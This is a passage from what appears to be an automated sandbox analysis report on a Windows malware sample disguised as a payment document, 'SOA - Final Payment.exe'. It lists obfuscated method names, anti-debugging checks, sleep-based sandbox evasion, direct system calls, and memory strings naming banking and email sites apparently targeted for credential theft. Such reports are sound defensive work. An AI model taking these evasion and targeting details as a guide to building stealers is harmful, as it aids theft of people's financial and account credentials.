Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, BO7eTHMwJqAxXSAxc7.cs	High entropy of concatenated method names: 'NSNJo1Pjpm', 'zEKJnL740q', 'TnYJ2Eau6C', 'vtkJBZTDwy', 'hhkJVdpm6N', 'IGTJ6PTud6', 'Y24qhlxyWTQQ9jFIIZ', 'kwiknE9vIax5r9Oy0G', 'UEAJJSO5jU', 'O3FJwRMNsM'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, H8dv04LKuelEGyv7Vi.cs	High entropy of concatenated method names: 'Dispose', 'Iv6J4awNaA', 'vbG3CnvAFo', 'JxkPyRXobv', 'PTXJdQJimZ', 't3CJzCy2yB', 'ProcessDialogKey', 'R2T3NoZW9m', 'WDE3JXrM3L', 'IXc33x6Ss5'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, E4ksvqDnYEau6CptkZ.cs	High entropy of concatenated method names: 'YI8HeWrK8h', 'HwPHy8slhM', 'EcQHm9CteF', 'vtFHDqaWmV', 'X63HV0Yxbo', 'NmYH6KuOlx', 'mieHhBT0cr', 'KPWHSJuWIW', 'CWiH0G8W1q', 'YeFHX9Yrks'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, lDwyF6lHJsf1bGhkdp.cs	High entropy of concatenated method names: 'WynGYby0qQ', 'ef7GieByjp', 'OxiHgFdZQE', 'nfMHKJ3gh0', 'Po9HRM6MBf', 'vCqHPfa8md', 'ubGH8C9MQ4', 'FbAHxk3SjX', 'AI4HWWX6Zf', 'hS0HrSproE'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, u4ol8KzGkXpGUyqCGE.cs	High entropy of concatenated method names: 'OxIXyYNYdq', 'Ka3XmCAlUR', 'I6SXDseYkg', 'YOQX1cyJ8E', 'B0tXCCSuFn', 'ggxXKASMD3', 'TSeXRL4h89', 'XJnXQUcqvd', 'OC4XOjaMVo', 'rhsX5wQqsN'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, OoBZYlURZFhiWNTeye.cs	High entropy of concatenated method names: 'x6e7mhLKmw', 'PM97DigSad', 'Nxr71M3haK', 'Evx7C1DD22', 'wFq7KpOxnR', 'dNe7ReN3Xv', 'NVv7866jXg', 'iSm7xh4tKW', 'nuw7rw6Hno', 'FGX7anFP5e'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, DWwqrCAdAoD5b25WSq.cs	High entropy of concatenated method names: 'zxuVrOPF8N', 'bSlVkaI6ir', 'svVVAFi6JG', 'hZ2Vu6sTRl', 'XmNVC7kf0i', 'Xm2VgEuWv1', 'uESVK1OYMo', 'hK9VRmjSFb', 'miPVPKgkW6', 'WXTV8Adc3w'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, BbEFNFWk7srD2eL76Q.cs	High entropy of concatenated method names: 'MQroO47rNX', 'jRDo5grL7t', 'QCtoEPBXAy', 'JOvoeWO6nw', 'HTNoYTyrJk', 'o79oyP7Rgr', 'lNCoiQa3kf', 'QaKomAXg5u', 'TjDoDQuRCp', 'AUyolHCRAN'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, WFgxcqC0OBC8Z8lXTy.cs	High entropy of concatenated method names: 'mtjJxkV2JsVI3LsSrdH', 'NPyLFgV6EpLTaQYwdVQ', 'k6BfSn66TZ', 'm1tf0LutA1', 'cFUfXWECCS', 'M0Ey0gV09Qyv7pSuT05', 'oj4KFdVvcuGmNeKBsYR', 'kiyATjVRdDGH1raHUbE'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, a1PjpmmEEKL740qFJE.cs	High entropy of concatenated method names: 'Ib1LAasruw', 'PmrLudgx79', 'wWSLv2NeCh', 'KAbLq6wX26', 'HteLcSon3V', 'yRhLb91n6Q', 'Y7QLF8gx76', 'LmFLsXidh2', 'fe1L4Lpsfa', 'MYpLdAIrWO'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, xMlKa8byoI2WwgvKIZ.cs	High entropy of concatenated method names: 'apnhs6bDP3', 'XaChd9gdNt', 'QkqSN5IJAe', 'KaiSJxAL9p', 'MaLhaAS6VJ', 'yTnhkIsIKR', 'LPUhUg4PR7', 'bUnhAtk60c', 'h54huntJ5S', 'IbJhvKcYii'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, BvYnnC3dq2MFvh150l.cs	High entropy of concatenated method names: 'LytEN4UUj', 'h6heT3E0V', 'qPmy2QyxS', 'XE0i3ZYmm', 'QVxDendjw', 'VLZl4V9DB', 'koDF70UYWiHWW83W9t', 'uGNlxtFcwxxIWZqJXj', 'g61SQ0bTe', 'zokXY6o7Q'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, pp6G2MFxDKv6awNaAk.cs	High entropy of concatenated method names: 'x8T0VWChMs', 'Qvv0hn4Q39', 'i38005TxC9', 'Kiu0ZoqpFN', 'wUL0p0BesR', 'LVi0Q2tlPq', 'Dispose', 'VnoSjBCK5X', 'MOYSLgXVcr', 'XxfSHLJkNi'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, M6Ss5AdqI6xKbLxa2x.cs	High entropy of concatenated method names: 'fvSXH69TfW', 'puvXG6uOfd', 'KZXXf9xxpU', 'N5XXoWX309', 'FS4X0LBGPd', 'WY1XnBYcDt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, loZW9m4sDEXrM3LKXc.cs	High entropy of concatenated method names: 'cvT01v3sxk', 'GOA0CfFCTR', 'OjL0gAINqh', 'KZl0KHI9lk', 'Lxg0RDudLU', 'FLa0PZcrBG', 'd4u0887LjY', 'u5Y0x3AyE7', 'RDV0W9da3R', 'Fs00rGc5pE'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, aVWu2kJJV36e23MxBVE.cs	High entropy of concatenated method names: 'rsJXd3ZLB6', 'FZFXz6rGgW', 'T4mZN4Vtib', 'hRPZJfc73h', 'dGnZ38SFta', 'ds1ZwN9SM4', 'TM8ZMPg90I', 'j94Z9Jell2', 'IO7ZjEjt7N', 'wk4ZLZopw3'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, E6NKGT1PTud6hIE9NY.cs	High entropy of concatenated method names: 'P5Df9AU2xN', 'zPYfLooyTp', 'NJhfGpKu0S', 'w2kfoxd2Bd', 'I0QfnC865T', 'NwEGc9lB8y', 'PEBGb18wNq', 'ilrGFophly', 'FOpGswM9Gw', 'hInG4hoWZK'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, Goalmj8Bru8UbGGuvJ.cs	High entropy of concatenated method names: 'Qrkoj1CyFY', 'UFwoHTEIYv', 'PZaofVecvq', 'QDefdrXCIc', 'AecfzMwjBI', 'BhfoNcH6aV', 'qoRoJjHAk9', 'yeko3BTw5Q', 'zL9owHl4xT', 'BPZoMsKL8X'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, D10xcgnntUSUthDVjj.cs	High entropy of concatenated method names: 'C4Vw9xrq1x', 'IjCwj4PWcA', 'IeYwLsoTp3', 'dEOwH6N6ut', 'MlMwGj1GSn', 'rZvwfHKUs7', 'xXpwoTjKDu', 'yeUwn6W0mo', 's4mwTccue3', 'I4Mw2jY9kO'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, KqSZ65u4YNlGTuZpXE.cs	High entropy of concatenated method names: 'oIVVF1LyAS', 'Os4VsL3eSP', 'EmOV4dOJOp', 'cfCVdR0PBG', 'GyDuKfZGIbI3vKnGfwr', 'g7UlLird3ckw5WjcK2t', 'TZ1hSYrztLg3KGHuOJy', 'vPSIysZBnLmjWpZAXQn'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, Po5X6rJMaqECJJE2YZW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Cw3I0AI9uu', 'x1YIXMh28V', 'z4nIZFtvDa', 'wAmIIrHE9g', 'uPuIpsT2Zi', 'PCtItnJIU4', 'Ix6IQyI8LQ'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, gSW0m3JNlEFcUN1DL5o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kMKXargggR', 'Ka6XktddXd', 'I7KXUeL63X', 'sylXAXJUmM', 'm5NXud2FPh', 'cKrXvCkoZU', 'gDcXqH5o9H'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, nu9h5JqGSZptvqwEWO.cs	High entropy of concatenated method names: 'x81h2qNOb2', 'HurhBO6H3v', 'ToString', 'IX4hjWmQR2', 'B3HhL9ou3A', 'nRVhH4Mj9W', 'x7XhGDT3yk', 'Qbxhfk56O4', 'FVPhoeMLNp', 'gQ4hnURE1h'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, BO7eTHMwJqAxXSAxc7.cs	High entropy of concatenated method names: 'NSNJo1Pjpm', 'zEKJnL740q', 'TnYJ2Eau6C', 'vtkJBZTDwy', 'hhkJVdpm6N', 'IGTJ6PTud6', 'Y24qhlxyWTQQ9jFIIZ', 'kwiknE9vIax5r9Oy0G', 'UEAJJSO5jU', 'O3FJwRMNsM'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, H8dv04LKuelEGyv7Vi.cs	High entropy of concatenated method names: 'Dispose', 'Iv6J4awNaA', 'vbG3CnvAFo', 'JxkPyRXobv', 'PTXJdQJimZ', 't3CJzCy2yB', 'ProcessDialogKey', 'R2T3NoZW9m', 'WDE3JXrM3L', 'IXc33x6Ss5'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, E4ksvqDnYEau6CptkZ.cs	High entropy of concatenated method names: 'YI8HeWrK8h', 'HwPHy8slhM', 'EcQHm9CteF', 'vtFHDqaWmV', 'X63HV0Yxbo', 'NmYH6KuOlx', 'mieHhBT0cr', 'KPWHSJuWIW', 'CWiH0G8W1q', 'YeFHX9Yrks'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, lDwyF6lHJsf1bGhkdp.cs	High entropy of concatenated method names: 'WynGYby0qQ', 'ef7GieByjp', 'OxiHgFdZQE', 'nfMHKJ3gh0', 'Po9HRM6MBf', 'vCqHPfa8md', 'ubGH8C9MQ4', 'FbAHxk3SjX', 'AI4HWWX6Zf', 'hS0HrSproE'
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, u4ol8KzGkXpGUyqCGE.cs	High entropy of concatenated method names: 'OxIXyYNYdq', 'Ka3XmCAlUR', 'I6SXDseYkg', 'YOQX1cyJ8E', 'B0tXCCSuFn', 'ggxXKASMD3', 'TSeXRL4h89', 'XJnXQUcqvd', 'OC4XOjaMVo', 'rhsX5wQqsN'

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D324
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D7E4
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D944
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D504
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D544
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818D1E4
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF908190154
Source: C:\Windows\SysWOW64\secinit.exe	API/Special instruction interceptor: Address: 7FF90818DA44

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: 17F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: 34C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: 1A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: 91A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: A1A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: A390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: B390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: BED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: CED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Memory allocated: DED0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	Window / User API: threadDelayed 2454			Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Window / User API: threadDelayed 7518			Jump to behavior

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\secinit.exe	API coverage: 2.8 %

Source: C:\Users\user\Desktop\SOA - Final Payment.exe TID: 7300	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe TID: 7316	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8012	Thread sleep count: 2454 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8012	Thread sleep time: -4908000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8012	Thread sleep count: 7518 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe TID: 8012	Thread sleep time: -15036000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\secinit.exe	Last function: Thread delayed

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SOA - Final Payment.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SOA - Final Payment.exe.log

C:\Users\user\AppData\Local\Temp\472E1186

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Windows Analysis Report
SOA - Final Payment.exe

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 472E1186.10.dr	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: 472E1186.10.dr	Binary or memory string: global block list test formVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: 472E1186.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: 472E1186.10.dr	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: 472E1186.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: secinit.exe, 0000000A.00000002.2603324583.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 472E1186.10.dr	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: 472E1186.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: firefox.exe, 0000000E.00000002.2047067119.000002B8859AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: 472E1186.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: 472E1186.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: 472E1186.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: 6UCrnFl0sVXS7jZvJ.exe, 0000000B.00000002.2604309160.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: 472E1186.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: 472E1186.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: 472E1186.10.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: 472E1186.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: 472E1186.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: 472E1186.10.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: 472E1186.10.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: 472E1186.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: 472E1186.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: 472E1186.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtClose: Direct from: 0x77542B6C
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtReadVirtualMemory: Direct from: 0x77542E8C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtCreateKey: Direct from: 0x77542C6C	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	NtSetInformationThread: Direct from: 0x77542B4C	Jump to behavior
